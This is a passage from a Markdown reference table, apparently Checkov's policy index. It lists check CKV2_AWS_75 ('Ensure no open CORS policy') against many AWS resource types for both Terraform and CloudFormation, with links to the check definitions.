[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4068 | CKV2_AWS_75 | resource | aws_lambda_function_recursion_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4069 | CKV2_AWS_75 | resource | aws_lambda_function_url | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4070 | CKV2_AWS_75 | resource | aws_lambda_function_url | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4071 | CKV2_AWS_75 | resource | aws_lambda_invocation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4072 | CKV2_AWS_75 | resource | aws_lambda_invocation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4073 | CKV2_AWS_75 | resource | aws_lambda_layer_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4074 | CKV2_AWS_75 | resource | aws_lambda_layer_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4075 | CKV2_AWS_75 | resource | aws_lambda_layer_version_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4076 | CKV2_AWS_75 | resource | aws_lambda_layer_version_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4077 | CKV2_AWS_75 | resource | aws_lambda_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4078 | CKV2_AWS_75 | resource | aws_lambda_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4079 | CKV2_AWS_75 | resource | aws_lambda_provisioned_concurrency_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4080 | CKV2_AWS_75 | resource | aws_lambda_provisioned_concurrency_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4081 | CKV2_AWS_75 | resource | aws_lambda_runtime_management_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4082 | CKV2_AWS_75 | resource | aws_lambda_runtime_management_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4083 | CKV2_AWS_75 | resource | aws_launch_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4084 | CKV2_AWS_75 | resource | aws_launch_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4085 | CKV2_AWS_75 | resource | aws_launch_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4086 | CKV2_AWS_75 | resource | aws_launch_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4087 | CKV2_AWS_75 | resource | aws_lb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4088 | CKV2_AWS_75 | resource | aws_lb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4089 | CKV2_AWS_75 | resource | aws_lb_cookie_stickiness_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4090 | CKV2_AWS_75 | resource | aws_lb_cookie_stickiness_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4091 | CKV2_AWS_75 | resource | aws_lb_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4092 | CKV2_AWS_75 | resource | aws_lb_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4093 | CKV2_AWS_75 | resource | aws_lb_listener_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4094 | CKV2_AWS_75 | resource | aws_lb_listener_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4095 | CKV2_AWS_75 | resource | aws_lb_listener_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4096 | CKV2_AWS_75 | resource | aws_lb_listener_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4097 | CKV2_AWS_75 | resource | aws_lb_ssl_negotiation_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4098 | CKV2_AWS_75 | resource | aws_lb_ssl_negotiation_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4099 | CKV2_AWS_75 | resource | aws_lb_target_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4100 | CKV2_AWS_75 | resource | aws_lb_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4101 | CKV2_AWS_75 | resource | aws_lb_target_group_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4102 | CKV2_AWS_75 | resource | aws_lb_target_group_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4103 | CKV2_AWS_75 | resource | aws_lb_trust_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4104 | CKV2_AWS_75 | resource | aws_lb_trust_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4105 | CKV2_AWS_75 | resource | aws_lb_trust_store_revocation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4106 | CKV2_AWS_75 | resource | aws_lb_trust_store_revocation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4107 | CKV2_AWS_75 | resource | aws_lex_bot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4108 | CKV2_AWS_75 | resource | aws_lex_bot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4109 | CKV2_AWS_75 | resource | aws_lex_bot_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4110 | CKV2_AWS_75 | resource | aws_lex_bot_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4111 | CKV2_AWS_75 | resource | aws_lex_intent | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4112 | CKV2_AWS_75 | resource | aws_lex_intent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4113 | CKV2_AWS_75 | resource | aws_lex_slot_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4114 | CKV2_AWS_75 | resource | aws_lex_slot_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4115 | CKV2_AWS_75 | resource | aws_lexv2models_bot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4116 | CKV2_AWS_75 | resource | aws_lexv2models_bot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4117 | CKV2_AWS_75 | resource | aws_lexv2models_bot_locale | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4118 | CKV2_AWS_75 | resource | aws_lexv2models_bot_locale | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4119 | CKV2_AWS_75 | resource | aws_lexv2models_bot_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4120 | CKV2_AWS_75 | resource | aws_lexv2models_bot_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4121 | CKV2_AWS_75 | resource | aws_lexv2models_intent | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4122 | CKV2_AWS_75 | resource | aws_lexv2models_intent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4123 | CKV2_AWS_75 | resource | aws_lexv2models_slot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4124 | CKV2_AWS_75 | resource | aws_lexv2models_slot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4125 | CKV2_AWS_75 | resource | aws_lexv2models_slot_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4126 | CKV2_AWS_75 | resource | aws_lexv2models_slot_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4127 | CKV2_AWS_75 | resource | aws_licensemanager_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4128 | CKV2_AWS_75 | resource | aws_licensemanager_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4129 | CKV2_AWS_75 | resource | aws_licensemanager_grant | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4130 | CKV2_AWS_75 | resource | aws_licensemanager_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4131 | CKV2_AWS_75 | resource | aws_licensemanager_grant_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4132 | CKV2_AWS_75 | resource | aws_licensemanager_grant_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4133 | CKV2_AWS_75 | resource | aws_licensemanager_license_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4134 | CKV2_AWS_75 | resource | aws_licensemanager_license_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4135 | CKV2_AWS_75 | resource | aws_lightsail_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4136 | CKV2_AWS_75 | resource | aws_lightsail_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4137 | CKV2_AWS_75 | resource | aws_lightsail_bucket_access_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4138 | CKV2_AWS_75 | resource | aws_lightsail_bucket_access_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4139 | CKV2_AWS_75 | resource | aws_lightsail_bucket_resource_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4140 | CKV2_AWS_75 | resource | aws_lightsail_bucket_resource_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4141 | CKV2_AWS_75 | resource | aws_lightsail_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4142 | CKV2_AWS_75 | resource | aws_lightsail_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4143 | CKV2_AWS_75 | resource | aws_lightsail_container_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4144 | CKV2_AWS_75 | resource | aws_lightsail_container_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4145 | CKV2_AWS_75 | resource | aws_lightsail_container_service_deployment_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4146 | CKV2_AWS_75 | resource | aws_lightsail_container_service_deployment_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4147 | CKV2_AWS_75 | resource | aws_lightsail_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4148 | CKV2_AWS_75 | resource | aws_lightsail_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4149 | CKV2_AWS_75 | resource | aws_lightsail_disk | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4150 | CKV2_AWS_75 | resource | aws_lightsail_disk | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4151 | CKV2_AWS_75 | resource | aws_lightsail_disk_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4152 | CKV2_AWS_75 | resource | aws_lightsail_disk_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4153 | CKV2_AWS_75 | resource | aws_lightsail_distribution | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4154 | CKV2_AWS_75 | resource | aws_lightsail_distribution | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4155 | CKV2_AWS_75 | resource | aws_lightsail_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4156 | CKV2_AWS_75 | resource | aws_lightsail_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4157 | CKV2_AWS_75 | resource | aws_lightsail_domain_entry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4158 | CKV2_AWS_75 | resource | aws_lightsail_domain_entry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4159 | CKV2_AWS_75 | resource | aws_lightsail_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4160 | CKV2_AWS_75 | resource | aws_lightsail_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4161 | CKV2_AWS_75 | resource | aws_lightsail_instance_public_ports | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4162 | CKV2_AWS_75 | resource | aws_lightsail_instance_public_ports | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4163 | CKV2_AWS_75 | resource | aws_lightsail_key_pair | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4164 | CKV2_AWS_75 | resource | aws_lightsail_key_pair | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4165 | CKV2_AWS_75 | resource | aws_lightsail_lb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4166 | CKV2_AWS_75 | resource | aws_lightsail_lb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4167 | CKV2_AWS_75 | resource | aws_lightsail_lb_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4168 | CKV2_AWS_75 | resource | aws_lightsail_lb_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4169 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4170 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4171 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4172 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4173 | CKV2_AWS_75 | resource | aws_lightsail_lb_https_redirection_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4174 | CKV2_AWS_75 | resource | aws_lightsail_lb_https_redirection_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4175 | CKV2_AWS_75 | resource | aws_lightsail_lb_stickiness_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4176 | CKV2_AWS_75 | resource | aws_lightsail_lb_stickiness_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4177 | CKV2_AWS_75 | resource | aws_lightsail_static_ip | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4178 | CKV2_AWS_75 | resource | aws_lightsail_static_ip | Ensure no open CORS policy | Cloudformation | 